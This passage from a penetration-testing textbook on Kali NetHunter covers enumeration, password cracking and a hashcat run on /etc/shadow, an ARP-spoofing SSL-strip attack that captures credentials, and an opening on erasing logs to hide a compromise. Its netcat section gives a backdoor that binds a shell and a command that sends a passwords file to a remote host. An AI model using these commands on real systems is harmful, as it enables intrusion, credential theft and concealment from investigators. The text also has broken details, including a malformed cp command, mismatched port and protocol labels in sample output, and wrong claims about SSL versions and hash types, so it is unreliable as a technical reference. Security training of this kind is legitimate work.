servers. However, before you get too excited
and

attempt a zone transfer at your first

opportunity, realize that with most modern environments, zone-transfer requests from

unknown hosts will not
be

allowed. Why is this? First, port 53 TCP must
be

open and DNS

must be present to even successfully make a connection to the system. Second, most DNS

servers have been configured to reject requests for zone transfers to unauthorized parties

by default. Even though it may not be successful, it is still worth attempting and worth

letting DNSenum make the effort.

Another tool that can perform the same type
of

function is DNSrecon. This utility can

perform an additional step that DNSenum does not, which is to retrieve SRV or service

records as well as some others. An SRV is the most interesting of the records as it is used

by many applications, such as Microsoft's Active Directory, as well as services such as

instant messaging, telephony applications, and voice/video services. Records of this type

could allow a pentester to locate and identify many useful items.

To perform a basic operation with DNSrecon, issue the following at the command line:

dnsrecon -d <domain_name>

Enumerating SMTP

SMTP is a protocol used to transfer messages and is commonly used in both mail servers

and mail clients. The simplicity and reliability of the protocol has led to its widespread

adoption and a handful of revisions since it
was

first introduced way back in 1982.

SMTP, in the context of a messaging system, is used two different ways. In the case of mail

servers, the protocol is used
to

transfer messages from one server to another until it reaches

the server where the recipient's mailbox is located where it is stored for later retrieval. On

the mail client side, the protocol is used to send messages to a mail server and make use of

other protocols for retrieving messages from the server.

For pentesters, SMTP can represent a valuable source of information, in particular, user

names and email addresses. The technique we will use here is designed to query an SMTP

service and retrieve usernames along with domain names. You may not consciously think

about it, but you see this information in your email address all the time in the form of two

parts; the part before the @ is the username and what comes after is the domain name.
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This format is standard in environments with usernames that follow a pattern, such as first

name dot last name or some variation thereof. For example, john.doe as the name before the

@ sign.

So, how can we extract email address information from SMTP with the tools in NetHunter?

Well, it all starts with a Mail Exchange, or MX, record that
we

would have obtained from

our enumeration of DNS.

Depending on the tool you used, the results may be displayed a little differently on screen,

but what you are looking for is a record (or records, in some cases) that is specifically

flagged at MX. Once you find these, you are looking for the IP address assigned
to

each. If

you have multiple
MX

servers, you will want
to

see which one has the lowest priority

number assigned to it as this will be the primary for the domain. If the primary doesn't

work, move on to the next highest priority for later attempts at enumeration.

In practice, we typically choose the server with the lowest preference

number, which is the first record in this case. The MX preference number

is used in normal operations of SMTP
to

indicate which server should be

used first. The lower the number, the higher the priority, thus two records

with an MX preference set and
one

is set
to

the value 1 and the other to

50 will result in the 1 being attempted first then the 50. While
we

could

use one of the others instead, it makes sense to use them in the same order

they are used by mail-routing services. Once we have this, we can move to

the second section of the results and focus on the lines.

Exercise ‒ using NMAP to enumerate

Once you have an IP address of an MX record,
we

can start extracting information (or

attempting to). One way
we

can do this is by using the nmap tool along with its built-in

scripting ability. We can do this by entering the following at the console:

nmap -script smtp-enum-users.nse 65.54.254.145

If you look at the command closely, you can see the addition of the -script switch, which

instructs the nmap tool to run an NSE script.
The

NSE component of nmap stands for

Nmap Scripting Engine, which allows for the creation of custom scripts, the use of

preinstalled ones, or the acquisition of ones from a third party. In this case, the script

chosen is preinstalled and extracts names from SMTP servers.
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A word of caution:Many corporations
no

longer host their email servers

and have chosen
to
move them

to
a third-party provider, such as google

or Microsoft. If you see MX records that point to a domain name other

than the client's, do not target these servers. While the tools may work,

and give you information, you probably don't have permission to

penetrate these servers as they are owned by a third party. In these cases,

the client cannot give you permission
to

carry out a pentest against these

assets because they don't own them. Check with the hosting provider to

assess the security of these assets and how to proceed with their

permission.

Exercise ‒ working with smtp-user-enum

The second tool
we

can use is smtp-user-enum, which is a Perl script designed to

determine user names via SMTP, among other tasks. To run smtp-user-enum, open the

Terminal and issue the smtp-user-enum command with the desired switches. Let's take a

look at some examples of the script commands.

The following examples use the same server address from before with nmap (here I noted

the address with an <IP> tag instead of the full address for clarity):

smtp-user-enum -M VRFY -U names.txt -t <IP>

smtp-user-enum -M EXPN -U names.txt -t <IP>

smtp-user-enum -M RCPT -U names.txt -t <IP>

You should notice with these commands that we have a series of switches; let's take a look

at these three commands that are being user. First, -U informs the script that you want it
to

use the list of users contained in the names.txt file. The next switch is -t, which passes

information the script as
to

which server it will be targeting. Finally, -M tells the utility

which mode it is running in. Let's take a close look at these three modes:

VRFY (default): This mode simply validates the list of usernames by watching

the responses returned by the SMTP server when valid and invalid usernames

are returned.

EXPN: This mode selection takes a username and, if it exists, expands it out to

show the full name in the form of "username@domain".

RCPT: When this command is run, it will use the full name (email address) of the

intended user. If the user exists, the server will respond with code 250, otherwise

code 550 will
be

returned. Note that many SMTP servers tend to have the VRFY

and EXPN commands disabled so RCPT may be the best option.
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So why use SMTP command to extract and verify information from an SMTP server?

Simply put, using this method is one of the many ways to extract a list of valid usernames

from a target running SMTP. Each one of the usernames that is validated provides

immediate feedback that we have uncovered an active account, which should be noted for

later actions.

Working with SMB

Server Message Block (SMB) is mainly sent to provide network and file sharing between

computers, servers, and other network devices, such as printers. However, SMB is the

predecessor of the Common Internet Filesystem (CIFS).

Exercise ‒ using enum4linux

enum4linux is a tool that is included with NetHunter that is very useful for extracting

information from an SMB enabled system. Systems that use SMB are going to be primarily

Windows, but they can also be Samba-enabled systems, such as Linux and UNIX.

The tool offers several important features:

RID cycling

User listing

List group memberships

List network shares

Detecting whether a host is in a workgroup or a domain

Identifying the remote computer's
OS

If you have performed a port scan against a target and have found any of the following

ports open, you may want
to

try using this tool:

TCP Port 445

UDP ports 137, 138&TCP ports 137, 139 (NetBIOS over TCP/IP)

To execute the tool to retrieve a list of users, issue the following command:

enum4linux -U <target IP>
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The results will look like the following:

A list of users returned from enum4linux

To execute a search for available shares,
we

can issue the following:

enum4linux -S <target IP>

The following screenshot shows the results of the command:

The results of the -S switch in enum4linux

If you want to get more detailed information, you can use the -d switch:

enum4linux -S -d <target IP>

However, if you want to retrieve all the information in one command, you can simply use

the following.

enum4linux <target IP>
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Expect a lot of information to sort through, but fortunately enum4linux presents it well,

leaving you
to

browse through it looking for useful information.

Note that enum4linux presents information about printers, password policy, domain or

workgroup membership, and lots of other items. What information is presented will vary

depending on system settings and the environment being targeted.

In Windows 2000 and later systems, the results of a scan with this tool will

vary depending on two items: firewall settings and a registry setting.

First, if the firewall is enabled or disabled on a Windows system, you will

get different results. Second, if the system has set the

RestrictAnonymous registry setting to 1 or 2 (it can be set to 0,1, or 2),

some information will not be available to be accessed.

One other thing: if the owner of the system simply disables the SMB

service and NetBIOS, this utility will not work.

Exercise ‒ using acccheck

If you are in a position where you have retrieved user information from running

enum4linux, you can now attempt a basic password crack. A tool that could
be

used at this

point is known as acccheck and is ideally suited for cracking passwords associated with

the SMB protocol. While we aren't going to do our more advanced password-cracking until

later,
we

can at least attempt a basic one now.

In this example, I will target a user with the username user; I can do this by issuing the

following command:

acccheck -v -t <IP address> -u user -P /usr/share/dirb/wordlists/common.txtIn this command, the switches show
us

the following:

-v for verbose

-t for the target IP

-u followed by the specified username

-P for the text file containing a list
of

passwords to attempt
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In NetHunter Linux, password dictionaries are commonly found within the

usr/share/dirb directory. In this case, I used the common.txt file, which is a list of

popular passwords and variations of those passwords.

Once executed, this command will keep attempting passwords against the "user" account

on the target system until it runs through all the names in the file or it finds a match.

In some cases, you may
be

stopped
by

an "account lockout" setting on the

target system, which is designed to lock an account after a number of

failed attempts.

Exercise ‒ using SMBmap

Let's focus on the shares
we

retrieved with enum4linux. Those shares (if you were returned

information on shares) can be further examined with smbmap. SMBMap allows you
to

list

share drives and permissions, provide upload and download functions, and even execute

remote commands.

However, let's take a look at using smbmap to identify permissions on the shares. We can

do that by using smbmap like so:

1. Open a terminal window.

2. Enter the smbmap -H <IP address> command.

3. Press Enter.

This will display a list of shares on the target system along with their respective

permissions. Keep in mind that you are viewing these without a username or password for

the remote system, so you may not see everything. If
we

want to use or attempt to use a set

of credentials to see more, we can do so. Let's
do

just that by using user for our username

and user for our password (from what we received in our acccheck attempt).

Here, we will use the preceding command with these credentials.

smbmap -u user -p user -H <IP address>

Depending on the privileges of the account, you may see a lot more information. As you

can ascertain the -u and -p flags are for defining the username and password to be used

during the execution of the command. Let's
go

one step further by adding more to this

command:

smbmap -r -u user -p user -H <IP address>
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In this last example, the -r switch reveals detailed information about each share, its

location on the disk, and the permissions assigned to it. Again, the account you use to

execute this command will determine how much information is revealed.

Summary

Scanning and the later enumeration of a target is an important step in compromising a

system. Through this process, you will learn about an environment, what ports are open

and what possibly can be extracted from the services behind those ports. This information

will help you plan your next steps better and more accurately than you could otherwise.

While scanning will inform you where the live targets are, as well as what ports have been

left open, enumeration moves you to the next step of attempting
to

extract useful and

meaningful information. Using tools such as nmap, nslookup, and smtp-user-enum, it is

possible to reveal users, groups, and other information about the host and the network

surrounding it.

In the next chapter, we will explore gaining access to a target system by finding

vulnerabilities.

Further reading

Check the following link for more information about the topics covered in this chapter:

https://tools.kali.org/
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Penetrating the Target

So far, we have gathered information through some detective work, scanned a target
to

learn about where the live targets are and what they have left open, before trying
to

extract

more detailed information through enumeration. During this process,
we

learned quite a

bit, but
we

still have further
to

go as
we

learn more about both the process and how Kali

NetHunter can assist us. We are now moving into the step where we actually put the

penetration in penetration test by attempting
to

gain access to the target itself. Everything

up
to this point has allowed us

to
plan, learn, and prepare to make a successful attempt at

entry.

Our goal is to gain access
to

a host and, if we have played our cards right so far, the

information we have accumulated will help us. When
we

gain access to a system, there are

a seemingly endless number of ways to accomplish this, but we will limit our focus to a

handful of these and show how Kali Nethunter may be helpful in carrying them out. Expect

to carry out various tasks during this part of the process, which is designed to crack or

recover passwords, escalate privileges, execute applications, hide files, cover tracks, and

otherwise conceal evidence of your actions. It's all in a day's work, so let's fire Kali

Nethunter up and get started.

In this chapter we will cover the following topics:

Choosing an approach to cracking

Executing applications on the target

Capturing confidential information

Password-cracking techniques

Executing applications

Escalating privileges

Running backdoors
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Technical requirements

For this chapter, you will need Kali NetHunter (the default installation is OK).

Concerning passwords

A popular first step to take in order to acquire access to a system is to just use a password

that you have obtained for an account on the system.
Of

course, obtaining this password is

the important part as you must find a way to obtain a password for a valid account. This is

where a process known as password-cracking or password-recovery comes into play.

So, what's the definition of the term password-cracking? Well, despite what movies and TV

have to say about the topic, password-cracking is a catchall term for a group of techniques

used to gain possession of this piece of information. You can expect to use any individual,

or combination of, methods during the process—each of which has its pros and cons. You

can guess a password blindly or you may have some information about the system owner

that may make the guessing process easier. Other techniques
to

obtain passwords may

involve repeatedly guessing or exploiting security weaknesses in a system.

Choosing an approach to cracking

To make things easier, let's break password-cracking down into a few major categories that

we
can then sort our techniques into. We will sort out the techniques into categories based

on method of operation as the main characteristic. Be aware that each category and the

techniques within offer not only unique approaches, but their own pros and cons, which we

will discuss as
we

encounter them. The following diagram displays a breakdown of

password-cracking attacks:
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The categories of password cracking techniques are as follows:

Passive techniques: Anything in this category is an attack carried out simply by

listening and avoiding direct interaction with the target. Offline password attacks

are designed to exploit inherent design flaws and defects in the way the

passwords are stored.

Direct techniques: This technique requires more aggressive and direct

interaction with the target. These types of attack can be very effective, but the

risk of detection is higher.

Passive techniques

In this first category, we have those techniques that adopt the low-risk approach of

patiently waiting. How effective the process and end result turn out to be, depends on the

approach used, the strength of the password and the system being targeted.

Sniffing is a very effective method of gaining information, as you are simply plugging into

a network and turning on a sniffer that will observe and capture the information as it flows

across in the stream of packets. What makes this technique particularly effective is if you

are targeting credentials that are transmitted over the network using an unsecured method,

such as an older networking protocol such as File Transfer Protocol (FTP), Telnet, or Simple

Mail Transfer Protocol (SMTP). Many of these long-lived and commonly-used protocols

find themselves vulnerable as they lack any appreciable protection on their own. An

example would
be

HTTP, which sends information in clear text, and you can use a tool

such as Wireshark
to

sniff packets and view the content inside packets:

The preceding diagram shows where a sniffer can
be

placed on a network.
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Man-in-the-Middle

Building on the principle of sniffing,
we

have the Man-in-the-Middle (MITM) attack. This

attack occurs when two devices are actively communicating and a third device moves from

listening in to become an active participant. The following diagram shows the concept of an

MITM attack:

This type of attack is useful in capturing network traffic and protocols. However, some

protocols have been found to be vulnerable as well, such as the Secure Sockets Layer (SSL)

that is used to secure many e-commerce and similar applications.

Within Kali NetHunter, you will find a few tools able to assist you in the process of

executing an MITM, such as SSL strip and Burp Suite. In order to demonstrate an MITM,

let's use SSL strip.

SSL is a widely-used standard that came into existence in the early 1990s and has been

publicly available from 1995. The latest version of the protocol is SSL 3.0, which was

deprecated in mid-2015 and should no longer
be

used due to successful compromises, such

at the publicized POODLE attack. To ensure secure communications, SSL should
be

replaced with the newer Transport Layer Security (TLS) version 1.2 in order
to

maintain

the strongest possible level of security.

So, before we get into the actual attack, let's
go

over a few details in order to fully

appreciate it.

The Address Resolution Protocol (ARP) poisoning, will make use of the ARP protocol

(which associates an IP address with a specific MAC address if you recall from your basic

network experience) to make the systems
we

are targeting believe
we

are the router (when

we are not).
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Since we are using ARP poisoning,
we

are using falsified ARP messages across the network

with the goal of changing the ARP cache on systems. Under normal conditions, when a

system sends out an ARP request, it is looking for the MAC address that corresponds to the

given IP address. When responded to, the return message will include the IP address and

MAC address of the system that matches the request, which will then be cached in the

requester's system. When we poison these caches,
we

send a message out that rewrites the

cache with a different MAC address, which will route the traffic differently to that which

the network owner would have intended. This has the effect of directing traffic in a myriad

of different ways.

Through this simple act, clients will forward their traffic to our system, where we can

perform our MITM before forwarding it on, instead of sending it
to

the actual router.

Traffic analysis: Behind the scenes,
we

are using SSL strip to detect requests made to URLs

using the SSL protocol as they flow through our system. Traffic that matches our criteria

will be intercepted and modified.

Intercepting and altering requests: Essentially, when it comes down to an SSL strip

detecting a request, it is stripping off the SSL and then altering the request or simply

gathering information.

So, if
we

put it all together, we can see what is occurring when an SSL strip is running:

1. The attacker makes themselves appear as the router by spoofing the router's

MAC address.

2. Clients make requests to websites or other locations using SSL as usual.

3. Requests that should go directly to the router, instead go to the attacker's

impersonated system.

4. An SSL strip (running on the attacker's system) observes traffic and looks for any

requests destined for a location using SSL.

5. When an SSL request is made, it is instead stripped of its protection and the

private information retrieved.

6. The request then has its SSL layer reapplied and forwarded to the server.

7. The server responds and sends the SSL-protected content back to the attacker,

who strips the SSL off of the request and gathers the return information.

8. The response is then returned to the client who is none the wiser.

So, let's make it happen with SSL strip.
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Exercise ‒ working with SSL strip

To get things ready for SSL strip,
we

need to set a few things
up

ahead of

time—fortunately,
we

already have the skills
to
do so. We are going to set up the following:

IP forwarding

IP table for redirect 80 to 8080

Finding a gateway IP

Finding a target IP

Arpspoof

The following steps should
be

performed to set up IP forwarding:

1. Type the following at the Terminal window:

echo '1' > /proc/sys/net/ipv4/IP_forward

2. Set
up

a redirect
to

redirect requests from port 80
to

8080. From the Terminal

window, issue the following command:

iptables -t nat -A PREROUTING -p tcp -destination-port 80 -j

REDIRECT

-to-port 8080

3. Discover the router IP by typing the following at the Terminal window:

netstat -nr

4. Choose a target from the list. In order to target a client,
we

need to locate one and

get its IP. You can do this through the use of nmap, sniffing, or through other

means. Once you have this IP, move
to

the next step.

5. Redirect traffic through the attacking computer that is hosting SSL Strip using the

following at the Terminal window:

arpspoof -i interface -t target IP -r router IP

6. Leave the Terminal window open.

7. Open
up

a second Terminal window and leave the first open.

8. Start sslstrip by typing sslstrip -l 8080 at the second Terminal window;

this will tell sslstrip
to

listen (via the -l switch) on port 8080. If you look back

at our earlier steps,
we

redirected to port 8080 so
we

are observing traffic going

to the port.
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9.
On

the target system (the one you found in step 4), open up a website that uses

SSL (you can tell via the https in the site's address). Sites such as Gmail is an

example.

10. Visitthe site and enter the credentials for your account or other item; you will

notice that data being captured on
the

sslstrip system.

11. Capture some traffic on the Kali NetHunter system, switch to the window

running sslstrip, and press Ctrl+ C
to

stop the process and automatically write

the results to a file named sslstrip.log.

The results can be opened in any text editor, such as nano.

Active techniques

Active password-cracking techniques are done directly on or against the target system. The

disadvantage of using this type of technique is that it increases the chances of being

detected.

Working with Ncrack

One method of carrying out this type of attack is to use the Ncrack utility included with

Kali NetHunter. This utility was designed to audit hosts on a network for poor passwords

that could be potentially leveraged in an attack against a host or networking device. The

utility is command-line-based, which allows for the use of different combinations of

switches and options designed to refine the cracking process. Additionally, the utility

supports many major protocols and services, including RDP, SSH, HTTP(S), SMB, POP3(S),

VNC, FTP, SIP, Redis, PostgreSQL, MySQL, and Telnet.

Exercise ‒ working with Ncrack

In order
to

use Ncrack, we can take the information we have been gathering so far on live

systems, port scans, and usernames to get things started:

1. Find a live system.

2. Look for ports that have a service running on them that Ncrack supports.

3. Perform a banner grab against the port using telnet or your banner-grabbing tool

of choice (such as nmap) to fingerprint the service.

4. Use any usernames, such as those you gathered from SMTP enumeration, and

save them to a text file. Save the file with a name you can remember, such as

usernames.txt.
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5. Create a second text file with the passwords you want
to

try. You can

alternatively download this file from the internet by locating one with a simple

search for password lists or word lists. Save this to a text file named

something that you can remember, such as passwords.txt.

Once
we

have this completed,
we

can use Ncrack to see what results
we

can scare up:

ncrack -vv -U usernames.txt -P passwords.txt <IP address:port number>, CL=1

In this example,
we

are using the following:

-vv to increase the output details while the command is running.

-U to specify the file with the usernames to try.

-P to specify the file with the passwords to use.

IP address with the port for the Ncrack-supported service to target.

CL to specify how many connections
to

open simultaneously with the target.

More connections may increase the speed.

If the command is successful for an account, your results will be printed onscreen, like so:

smtp://192.168.1.2:110 finished.

Discovered credentials on rdp://192.168.1.200:110 'schmuck' 'aesop'

As you can see, the username is schmuck and the password is aesop.

Offline attacks

Offline attacks are not done directly on the target but rather on the attacker's system itself.

Offline password-cracking is very CPU-intensive.

Rainbow tables

One very effective demonstration of the functioning and power of offline attacks is through

a technique known as rainbow tables. This type of attack utilizes pre-computed hashes of

all the different combinations of characters created using a given hashing method. In

practice, the rainbow table will
be

created by the pentester, who will choose the parameters

for creating the hashes. For example, parameters defining the minimum and maximum

length of the password, as well as character sets and hashing types, will be defined. The

result will be a table that can be used to find
the

correct password.
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So how do
we

find the correct password using the table? Simple! We retrieve a hashed

password from the local storage of the victim
or

capture it off the wire using sniffing.

The disadvantage of rainbow tables is that they must be generated prior to executing the

attempt to recover the password. One other failing of rainbow tables is that the longer the

password you are attempting
to

recover becomes, the larger the resulting table and the

more time it takes
to

generate it.

Exercise ‒ creating the rainbow table

The first step in utilizing the rainbow table cracking method is
to

actually create the table

itself. To do this, we will make use of rtgen to generate the table with the parameters we

specify.

Exercise ‒ working with rtgen

To use the rtgen command, we must open a Terminal window and provide the desired

parameters. The following is a list of the options available with rtgen:

lm, plaintext_len limit: 0 - 7

ntlm, plaintext_len limit: 0 - 15

md5, plaintext_len limit: 0 - 15

sha1, plaintext_len limit: 0 - 20

mysqlsha1, plaintext_len limit: 0 - 20

halflmchall, plaintext_len limit: 0 - 7

ntlmchall, plaintext_len limit: 0 - 15

oracle-SYSTEM, plaintext_len limit: 0 - 10

md5-half, plaintext_len limit: 0 - 15

If
we

want to generate a rainbow table, we type:

rtgen sha1 loweralpha-numeric 1 8 0 5000 6553600 0

usage: rtgen hash_algorithm charset plaintext_len_min plaintext_len_maxtable_index chain_len chain_num part_index

When creating rainbow tables, each table is specific for a given hash type, such as MD5 or

SHA1. The rtgen program supports many hashing algorithms, such as MD5 and SHA1.

In the preceding example, we generated SHA1 rainbow tables that will speed up cracking

SHA1 hashes.
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After the command has executed, you will be left with files with the .rt extension in the

folder where you executed the command. The next step is to sort the files by using the

following:

Rtsort *.rt

This will sort the files before we use them.

Now we will recover the password using one of the following commands. Here's the first:

rcrack *.rt -l filename.txt (this will attempt to recover passwords from

hashes stored in a text file)

Alternatively, you can use this command:

rcrack *.rt -h <hash>

This command will attempt
to

recover the password for the hash provided.

Putting it together

To successfully crack a password, you must have a plan; just stumbling through different

techniques may bear "fruit" but they are more likely to be not only unsuccessful, but may

get you detected in the process. So, let's think
of

a strategy
to

use with our powerful tools

within Kali NetHunter.

First, you should understand that the hashes that will most likely be the target of your

password-cracking attempts will exist in different places depending on your approach and

the target environment.

In environments with Microsoft Windows, these locations are the SAM file, which exists on

local computer filesystems and also within Active Directory if the environment uses a

domain.

Those environments that are either based on Linux or UNIX environments, and typically

have their hashes stored in a different location entirely. These systems store their hashes in

a location known as /etc/shadow, which is again on a local filesystem.
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In both situations, the hashes are, as is the design of hashes, one-way encryption that

generates a unique output or fingerprint for each password. Of course, even though a hash

isn't reversible, we have already explained that a rainbow table may be employed to look

up
what created a hash; however, there is a problem that hasn't been addressed. This

problem is that there are multiple hashing algorithms and the same input will produce

different results on each. So we need
to

identify the hash algorithm before
we

can go too

far; fortunately, we have ways to do this.

For example, Linux-based systems use the well-known MD5 algorithm, while Windows

systems make use of HMAC-MD5, and some other technologies make use of SHA1, MD4,

NTLM, and so on.

One way is to use a tool in Kali NetHunter Linux known as hash-identifier. This tool can be

run simply
by

opening up a command prompt in Kali NetHunter and entering the

following:

hash-identifier <retrieved hash>

The hash-identifier tool will proceed
to

attempt to identify the hash and list out the possible

types.

Another option is to use the John the Ripper password-cracker (which is also included with

Kali Nethunter). In other popular password-cracking tools, however, automatic detection is

not an option so the hash type must
be

specified, hence the need for hash-identifier.

Exercise ‒ recovering passwords with hashcat

Let's recover our first set of passwords by using Kali NetHunter Linux and hashcat.

Hashcat is known as one of the fastest CPU-based password-recovery tools available. While

initially proprietary, the software is now completely free and widely used not just in Linux,

but in OS X and Windows. It also comes with a version that can harness the CPU of a

system, but also has the ability
to
make use of a faster Graphic Processing Unit (GPU).

Examples of hashcat-supported hashing algorithms are Microsoft's LM hashes, MD4, MD5,

SHA-family, Unix Crypt formats, MySQL, Cisco PIX.

To get the process of password-cracking started in Kali NetHunter,
go

to Applications |

Kali Nethunter Linux | Password Attacks | Offline Attacks | hashcat.

This will open the terminal window with some help information displayed.
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At the top of the screen, you will see the hashcat syntax:

hashcat options hashfile mask <wordfile> <directory>

Some of the most important of these are -m (the hashtype) and -a (attack mode).

Let's dissect hashcat's syntax and options of importance that are available to customize and

tweak the process of cracking with hashcat. These rules can take a wordlist file that you

have created and apply capitalization rules, special characters, word combinations, and

appended and prepended numbers. Each of these techniques will make the breaking of

more complex passwords more likely. In fact, hashcat will let you customize the custom

character sets and options that are used to attempt recovery of the password(s) on a target.

You will also be presented with the requirement to choose the type of hash being cracked. It

can be done if you know the hashing type on the system you are targeting or have used a

hash identifier.

Finally,
we

have to choose the type of hash we are attempting
to

crack. Hashcat gives us

numerous options. When
we

get ready to target the hash, you will designate the type of

hash that is being targeted by choosing it (by number) from a list that hashcat presents.

You can download a wordlist from online or you can search your Kali NetHunter system

using the locate command to find the built-in wordlists in the product. You can do this

using the following syntax:

locate rockyou.txt

Once
we

are ready with hashcat and a wordlist,
we

can start by grabbing some hashes. In

Linux, we can grab these by logging in as root and looking in /etc/shadow like so:

tail /etc/shadow

We can see the shadow file with the hashes, once this command has executed.

With this information in hand, we now need to determine what type of hashing is in use by

the system. Fortunately, we can do that fairly easily by issuing the following command:

more /etc/login.defs

Navigate about 80% of the way down the file
by

tapping the enter key until you see an

entry labeled ENCRYPT_METHOD, which will be followed by a value that is typically

SHA512. This is important, as hashcat will need this information to reveal the hashes.

With knowledge of where the hashes are located, along with the hashing algorithm that is

used by the system, it is now possible to start
the

process of cracking the hashes.
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First,
we

want to place the hashes into a file
we

will name hash.lst, which we create by

issuing the following command:

cp oringal_hashes.txt /etc/shadow hash.lst

In order
to

ensure that everything was copied over, let's issue the following command:

more hash.lst

If everything completed successfully, you should see that the hashes have been copied over

to the hash.lst file as intended.

Before we can attempt to crack the hashes in this file, we need
to

strip out some information

to clean things up. Basically, we are going to remove anything that isn't a hash. By default,

the file will include username information, which is not needed during this process.

In order
to

ensure that the process will be successful, you will need to remove the username

and the colon immediately proceeding the username. After you have removed this, you

will then remove everything: go to the end of
the

line and strip out anything that starts with

a colon. In order to explain things further, let's consider the following screenshot:

We need to clean this
up

a bit to display only the highlighted hash values:

In the final step, you can now start the process of cracking the hashes. Here's the command

to initiate this process:

Kali Nethunter > hashcat -m 1800 -a 0 -o cracked.txt --remove hash.lst

/usr/share/sqlmap/txt/

wordlist.txt-m 1800 designates the type of hash we are cracking (SHA-512).

-a 0 designates a dictionary attack.

-o cracked.txt is the output file for the cracked passwords.
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--remove tells hashcat to remove the hash after it has been cracked.

hash.lst is our input file of hashes.

/usr/share/sqlmap/txt/wordlist.txt is the absolute path to our word list

for this dictionary attack.

Once the cracking process is underway, you can see how things are proceeding
by

pressing

Enter. This process will take varying periods
of

time, depending on the power of your

Android device and what else you have running on the system at the same time.

Executing applications

In this section,
we

will discuss how you can
run

applications remotely and what you can do

with that power.

As a pentester, you should have a good or definite idea of what you will
be

doing at this

point, such as running an application or performing. Need to carry out tasks such as the

following:

Backdoors: After compromising a system, a hacker would create multiple

doorways into the compromised computer. This is to ensure the attacker always

has a way into the computer, whether it's for remote access purposes or
to

exfiltrate data. This is known as a Backdoor. Backdoors are usually created when

a Trojan virus installs itself on a host computer.

Keyloggers: This is a software- or hardware-based device that has the capability

of recording keystrokes from a user keyboard.

Escalating privileges

After compromising an operating system, such as Windows, you would have limited

privileges on the system. This means if you try to execute certain commands or run

applications, the built-in security will deny such actions. If you're able
to

compromise a

user account, it might be a standard user with limited privileges as well. As a penetration

tester,
we

would like the ability to execute any command and applications on a victim

machine without any sort of restrictions.

Therefore, depending on the objectives of the penetration test, you may be required to gain

"administrator" privileges in a Windows environment, or root-level access on Linux-based

systems.
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Executing applications on the target

Once access is gained and sufficient privileges obtained, it becomes time to execute

applications on the victim. Which types of applications or actions are executed at this point

is something that you will have to decide, but the field is wide open as to what you could

do.

Exercise ‒ planting a backdoor with Netcat

Netcat is like a Swiss Army knife in the TCP/IP stack. It's a very popular networking tool

that provides networking and security professionals with many features; some of these

features include the following:

Able to read and write data over a networking

Ability to transfer files

Open service ports

Conduct port-scanning and banner-grabbing

Netcat is not specific to an operating system; it's available
to

both Windows and Linux

platforms. In this section,
we

will look at a few examples and usage of Netcat.

To connect to another machine, do the following:

nc <host IP address> < port>

To listen for inbound connections, issue the following:

nc -l -p <port>

Simply replace the port number with any unused, valid port on the remote system.

On
the system that you wish

to
connect from, run the following:

nc <remote host IP address> <remote port>

This command says to contact the remote system and then connect to the port that you

have told nc to listen
to
on the remote system.

Let's go a little further.
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Now let's create a backdoor on the target system that
we

can make use of whenever we

desire. The command will vary slightly based on whether you happen to be targeting a

Linux or Windows system.

For Windows,
we

use the following:

nc -l -p <port number> -e cmd.exe

For Linux, we use this:

nc -l -p <port number> -e /bin/bash

In both of these commands, the -e switch is used to execute a command when the machine

is connected to a command shell. This means that
we

will
be

presented with a shell locally

that
we

can use to pipe commands
to

the remote system. Then, on our attacking system,
we

type the following:

nc <remote host IP address> <remote port>

At this point, if you executed the command successfully, you would see a command

prompt that allows you
to

interact with the remote system.

Netcat can also be used to exfiltrate files and data from the target. We can use a stealth

connection to slowly copy that data over to our local system. In this example,
we

will

exfiltrate a file called passwords.xls, presumably an Excel file with passwords.

From the source system,
we

type the following:

type passwords.xls | nc <remote IP> <remote port>

This command says to display the passwords.xls file and then pipe (|) it to netcat (nc) to

the 192.168.1.104 remote IP address through port 6996.

From the destination system, we type the following:

nc -l -p 6996 > passwords.xls

This command says to create a listener (l) on port (p) 6996 and then send the data received

on this listener to a file named passwords.xls.
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Summary

We started things off
by

looking at how to utilize information gathered during the previous

steps for a target. Information from previous chapters was gathered with measured, but

increasing, levels of direct interaction with a target. The intention was to gain additional

information that we could use to compromise a system while attempting to be less

intrusive.

We typically start with cracking or recovering a password to gain access to an account

before attempting to gain additional access to a system through privilege escalation. With

this increased access, it is possible to carry out more intrusive tasks. Common actions that

an attacker may attempt to carry out typically include installing software, installing remote

software, or creating other backdoors for later access.

In the next chapter we will learn about clearing tracks and removing evidence from a target

system.

Further reading

Refer to the Kali Linux/Kali NetHunter tools list at: http://tools.kali.org.
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Clearing Tracks and Removing

Evidence from a Target

One of the most important aspects during a penetration test is to ensure there isn’t any trace

of a compromise on the system. Like a hacker, your goal may be to compromise a target

system or network, however, it is very important when terminating the connection or

exiting the victim’s system that there isn’t any log or residual data left behind. Furthermore,

during a penetration test, additional data may be generated that leaves a trace on the

system and network.

In this chapter, we will be covering the following topics:

Clearing logs on Windows

Clearing logs on Linux

Deleting files from the target

Let's dive In!

Clearing tracks

The field of cybersecurity is growing at an exponential rate; the need for professionals
to

help combat and protect organizations and citizens from both cyber threats and threat

actors are in extremely high demand. A cyber-attack can be anything from a phishing

email, malware infection, and even ransomware attacks; the cybersecurity organizations

and certification bodies, such as EC-Council and GIAC, saw the need for forensics in the

digital world as assists in investigations to determine what happened, how the attack took

place, the threat actors, and many more details that can assist the prosecution in a court of

law.
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In cybersecurity, a security incident is an event that is triggered by an

organization’s system or network that indicates a compromise. An

example of a security incident is a malicious file running on an employee’s

computer. The anti-malware protection software will detect and trigger an

alert for investigation.

The field of digital forensics opened the door for many new jobs, such as First Responder,

Incident Handler, Cyber Forensics Investigator, and Malware Researcher. Each of these

titles has a common goal: to determine how the system was compromised by a threat actor.

For any action done on a system, whether by a user or an application, a system log message

is generated and stored for accountability purposes. During a forensic investigation, the

examiner usually attempts to retrieve the logs from the system. The log messages will

indicate the entire history of a security incident.

Types of logs and their locations

During this section,
we

will discuss the various types of logs a penetration tester should

consider removing and where these logs can
be

found.

DHCP server logs

These logs keep an accountability of IP address assignment on the network. This log stores

all the transactions that have taken place between a potential DHCP client and the DHCP

server. Most importantly, the media access control (MAC) addresses of the clients will be

stored within the log messages. The following are the locations of DHCP server logs:

DHCP logs are stored within the %SystemRoot%\System32\dhcp directory of a

Windows system.

On
Linux, to see the DHCP logs, we can use the cat /var/log/syslog |

grep -Ei 'dhcp' command.
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Syslog messages

When a cyber-attack occurs within an organization, whether it’s an MITM or a system

acting as a zombie machine which is part of a botnet army an investigation is performed.

Forensics Investigators perform their investigation and analysis not only on computers,

laptops, and servers, but also on the network. For every session or transaction that occurs

across a network, devices such as firewalls, intrusion-detection/prevention systems

(IDS/IPS), and other network security appliances generate logs for all traffic. Devices uses

the Syslog protocol and framework
to

generate log messages in a uniform format with all

